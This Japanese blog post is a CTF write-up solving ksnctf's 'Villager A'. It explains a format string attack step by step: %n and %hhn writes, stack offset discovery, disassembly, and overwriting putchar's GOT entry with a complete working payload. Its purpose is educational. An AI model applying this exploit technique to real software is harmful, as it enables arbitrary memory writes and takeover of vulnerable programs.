Villager Aが解けた

この記事は、ksnctfのVillager Aの解法について言及しています。見たくないという方は、ここでお引取りください。 また、私はセキュリティに関しては全くのど素人です。内容の正確性は慎重に検証したつもりですが、間違っていることもあるかと思いますのでご承知おきください。







かねてより、pwnあるいはexploitというものに興味があり、何度かVillager Aに挑戦したりしていたのですが、writeup等を見てみても解法をよく理解できないでいました。今回、SecHack365でご一緒させて頂いているはっぴーのーとさんに色々ご教授いただくことが出来、解法がよく分かってきたのでせっかくなので記事としてアウトプットしておきたいと思った次第です。

twitter.com

私が分からなかった点

私が分からなかったのは、主にFormat String Attackの組み立ての部分です。Villager Aの場合、GOTを書き換えて任意のアドレスにジャンプしたいわけですが、これをやればexploitできるということは分かったものの、その手段はよく分からなかったのです。

解法

最初に、解法を載せておきます。

echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn' | ./q4

これでexploit出来るわけですが、この文字列でどうしてGOTを書き換えられるのかが分からなかったのです。

printf()のフォーマット指定子

printf()には%nというフォーマット指定子があります。これは、いままで出力した文字列のバイト数を、引数に格納するという指定子です。試しに使ってみました。

#include <stdio.h>

int main()
{
    int *hoge;
    printf("hogehoge%n\n", &hoge);
    printf("%d\n", hoge);
    return 0;
}

これで、hogeが指すメモリ領域に8が入っているはずです。

もちろん*hogeにアドレスを代入してやれば任意のアドレスのメモリ領域に保存することができます(ただし、そのアドレスのメモリ領域が書き込み可能かどうか等は不明)。

ちなみに、%nの前にhをつけてやることで書き込み先のアドレスを何バイトの領域として扱うか操作出来るようです。

指定子 書き込まれ方
%n アドレスを4バイト領域としてみなし、書き込む
%hn アドレスを2バイト領域としてみなし、書き込む
%hhn アドレスを1バイト領域としてみなし、書き込む

%nで一気に書き込むこともできますが、そうすると出力しなくてはならないバイト数が膨大になってしまうことがよくあるので、この手のexploitでは%hhnをよく使うようです。

例えば、0x12345678というアドレスを%nでつくるためには、0x12345678バイト出力しなくてはいけないのでとても膨大ですが、%hhnで4回に分けてしまえば0x78と0x56と0x34と0x12の計0x114バイト出力するだけで済みます。

また、$(ダイレクトパラメータ)というものを使うと、使いたい引数を番号で指定できるようです。

3番目の引数を使いたいなら以下の通りです。

printf("%3$d", 10, 20, 30, 40, 50);  // 30

FSAの組み立て

ここまで分かれば、あとは組み立ててみるだけでした。 まずは、printf()で書き込んだ文字列がスタックのどの位置に保存されるか把握しておく必要があるので、q4に対して以下を入力してみます。

echo -e "yuki,%x,%x,%x,%x,%x,%x,%x" | ./q4
What's your name?
Hi, yuki,400,4108c0,8,14,ed3fc4,696b7579,2c78252c,252c7825

Do you want the flag?

yuki」のASCIIコードを16進数に変換すると「0x79756b69」ですね。リトルエンディアンであることに気をつけながら見ていくと、6番目にあることが分かります。

|....................|
|0x00000400| ←arg1
|0x004108c0| ←arg2
|0x00000008| ←arg3
|0x00000014| ←arg4
|0x00ed3fc4 | ←arg5
|0x696b7579| ←arg6(printf()へ入力した文字列はここから入る)
|0x2c78252c| ←arg7
|0x252c7825| ←arg8
|....................|

この情報と、さっきのダイレクトパラメータを組み合わせて使うことができそうですね!

では、次に書き換え先、書き換える対象を確認しておきましょう。 q4をディスアセンブルしてみましょう

objdump -d q4 | less

以下、main関数部分です。

080485b4 <main>:
 80485b4:   55                      push   %ebp
 80485b5:   89 e5                   mov    %esp,%ebp
 80485b7:   83 e4 f0                and    $0xfffffff0,%esp
 80485ba:   81 ec 20 04 00 00       sub    $0x420,%esp
 80485c0:   c7 04 24 a4 87 04 08    movl   $0x80487a4,(%esp)
 80485c7:   e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:   a1 04 9a 04 08          mov    0x8049a04,%eax
 80485d1:   89 44 24 08             mov    %eax,0x8(%esp)
 80485d5:   c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 80485dc:   00 
 80485dd:   8d 44 24 18             lea    0x18(%esp),%eax
 80485e1:   89 04 24                mov    %eax,(%esp)
 80485e4:   e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:   c7 04 24 b6 87 04 08    movl   $0x80487b6,(%esp)
 80485f0:   e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:   8d 44 24 18             lea    0x18(%esp),%eax
 80485f9:   89 04 24                mov    %eax,(%esp)
 80485fc:   e8 b3 fe ff ff          call   80484b4 <printf@plt>
 8048601:   c7 04 24 0a 00 00 00    movl   $0xa,(%esp)
 8048608:   e8 67 fe ff ff          call   8048474 <putchar@plt>
 804860d:   c7 84 24 18 04 00 00    movl   $0x1,0x418(%esp)
 8048614:   01 00 00 00 
 8048618:   eb 67                   jmp    8048681 <main+0xcd>
 804861a:   c7 04 24 bb 87 04 08    movl   $0x80487bb,(%esp)
 8048621:   e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:   a1 04 9a 04 08          mov    0x8049a04,%eax
 804862b:   89 44 24 08             mov    %eax,0x8(%esp)
 804862f:   c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 8048636:   00 
 8048637:   8d 44 24 18             lea    0x18(%esp),%eax
 804863b:   89 04 24                mov    %eax,(%esp)
 804863e:   e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:   85 c0                   test   %eax,%eax
 8048645:   0f 94 c0                sete   %al
 8048648:   84 c0                   test   %al,%al
 804864a:   74 0a                   je     8048656 <main+0xa2>
 804864c:   b8 00 00 00 00          mov    $0x0,%eax
 8048651:   e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:   c7 44 24 04 d1 87 04    movl   $0x80487d1,0x4(%esp)
 804865d:   08 
 804865e:   8d 44 24 18             lea    0x18(%esp),%eax
 8048662:   89 04 24                mov    %eax,(%esp)
 8048665:   e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:   85 c0                   test   %eax,%eax
 804866c:   75 13                   jne    8048681 <main+0xcd>
 804866e:   c7 04 24 d5 87 04 08    movl   $0x80487d5,(%esp)
 8048675:   e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:   b8 00 00 00 00          mov    $0x0,%eax
 804867f:   eb 5b                   jmp    80486dc <main+0x128>
 8048681:   8b 84 24 18 04 00 00    mov    0x418(%esp),%eax ;<main+0xcd>
 8048688:   85 c0                   test   %eax,%eax
 804868a:   0f 95 c0                setne  %al
 804868d:   84 c0                   test   %al,%al
 804868f:   75 89                   jne    804861a <main+0x66>
 8048691:   c7 44 24 04 e6 87 04    movl   $0x80487e6,0x4(%esp)
 8048698:   08 
 8048699:   c7 04 24 e8 87 04 08    movl   $0x80487e8,(%esp)
 80486a0:   e8 ff fd ff ff          call   80484a4 <fopen@plt>
 80486a5:   89 84 24 1c 04 00 00    mov    %eax,0x41c(%esp)
 80486ac:   8b 84 24 1c 04 00 00    mov    0x41c(%esp),%eax
 80486b3:   89 44 24 08             mov    %eax,0x8(%esp)
 80486b7:   c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 80486be:   00 
 80486bf:   8d 44 24 18             lea    0x18(%esp),%eax
 80486c3:   89 04 24                mov    %eax,(%esp)
 80486c6:   e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:   8d 44 24 18             lea    0x18(%esp),%eax
 80486cf:   89 04 24                mov    %eax,(%esp)
 80486d2:   e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:   b8 00 00 00 00          mov    $0x0,%eax
 80486dc:   c9                      leave  
 80486dd:   c3                      ret    
 80486de:   90                      nop
 80486df:   90                      nop

0x08048691あたりにジャンプすれば良さそうですね。

そして他の解法記事に習って、putchar()のGOT領域を上書きをしたいのでどこのアドレスを書きえればいいか調べてみます。 main関数内で、呼び出されている<putchar@plt>をディスアセンブルをしたものが以下です。

08048474 <putchar@plt>:
 8048474:   ff 25 e0 99 04 08       jmp    *0x80499e0
 804847a:   68 08 00 00 00          push   $0x8
 804847f:   e9 d0 ff ff ff          jmp    8048454 <_init+0x30>

ということで、0x080499e0を書き換えてしまえば良さそうです。

つまり、0x080499e0に0x08048691を埋め込めばいいのです。

ということで、まずは\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08という文字列を流し込んでみます。

|....................|
|0x00000400| ←arg1
|0x004108c0| ←arg2
|0x00000008| ←arg3
|0x00000014| ←arg4
|0x00ed3fc4 | ←arg5
|0x080499e0| ←arg6(printf()へ入力した文字列はここから入る)
|0x080499e1| ←arg7
|0x080499e2| ←arg8
|0x080499e3| ←arg9 |....................|

すると、上のようになりますね。ということで、あとは適切なバイト数を出力した後に%hhnでarg6, arg7, arg8, arg9を指定してやればそのアドレスに書き込まれることが分かります。

適切なバイト数の出力の仕方ですが、%x等の出力子に数字をつけてやればいい感じにパディングできるのでそれを使います。

結局書き込みたい値と書き込み先アドレスは、以下のとおりです。

書き込み先アドレス 書き込みたい値
0x080499e0 0x91
0x080499e1 0x86
0x080499e2 0x04
0x080499e3 0x08

ここで一旦、以下のプログラムを見てください。

#include <stdio.h>

int main()
{
    char *hoge;
    printf("%256x%1$n\n", &hoge);
    printf("%hhx\n", hoge);
    return 0;
}

二個目のprintf()の出力はいくつになるでしょうか。正解は、0です。まあ、当然ですよね。実はこれが、先程のパディングに使えます。

例えば、出力したい数が0x10だとしましょう。しかし、すでに0x12バイト出力されているとします。このとき、0xffまで出力してしまってから、0x11を出力し%hhnを呼べば0x10を出力することが出来ます。

ではいよいよ本命のFSAの組み立てをしていきましょう。

ここまでで既に4byte * 4 = 16byte出力していますね。で、次に出力したいのは0x91 = 145です。素直に引き算しちゃいましょう。145 - 16 = 129

%129x%6$hhn

次に出力したいのは0x86 = 134ですね。オーバーしちゃいましたので、先程紹介したテクニックをつかって。256 - 145 + 134 = 245

%245x%7$hhn

あとはやるだけです。0x04 = 4。256 - 134 + 4 = 126

%126x%8$hhn

最後。0x08 = 8。8 - 4 = 4

%4x%9$hhn

これで完成。

\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn

やっとできたーー!!!このやりがい、たまらないですね。教えてくださったはっぴーのーとさん、本当にありがとうございました!

おわりに

雑多な文章で申し訳ありませんが、私がVillager Aを解いたときの心境などをそのまま書き込んだつもりです。 僕のようにVillager Aで苦しんでいる方のご参考になれば嬉しいです!

また、本文中に間違いや質問したいこと等があればお気軽にご連絡ください。

twitter.com